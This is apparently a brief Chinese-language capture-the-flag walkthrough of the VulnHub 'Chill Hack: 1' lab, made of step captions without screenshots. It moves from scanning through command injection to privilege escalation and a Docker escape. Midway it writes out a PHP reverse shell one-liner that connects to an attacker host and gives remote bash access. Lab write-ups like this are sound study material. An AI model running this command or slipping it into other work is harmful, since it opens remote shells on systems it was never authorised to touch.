下载地址：Chill Hack: 1 ~ VulnHub

主机发现

目标176

端口扫描

服务扫描

直接去看web

先扫一下

有几个有点问题

看着好像命令执行

看来没错直接反弹shell

还有还白名单？

bash也不能用

那就用php吧

whoami|php -r '$sock=fsockopen("192.168.21.131",666);exec("bash <&3 >&3 2>&3");'

搞定接下来就是提权了

有python吧shell弄一下

刚才代码的源码

接下来就是看看文件了

翻到咯

这里面提示我们去看看images

看看jpg

先用工具简单看看

啥都没有？我不信，换工具

密码爆破（这个方法最快）

看看文件

审计就完了

好好好密码写代码里面狠

密码到手剩下用户名了

看到有ftp去看看，说不定有匿名

额啥也不是直接用户名算了

就这三名试试就行

好第一个就进去了

接下来就是提权

找一下能用该账户读取的文件

这边挺想看local的用点操作看一下

试试这个脚本会不会有问题

不回显能执行命令

直接bash

成功了

docker逃逸就行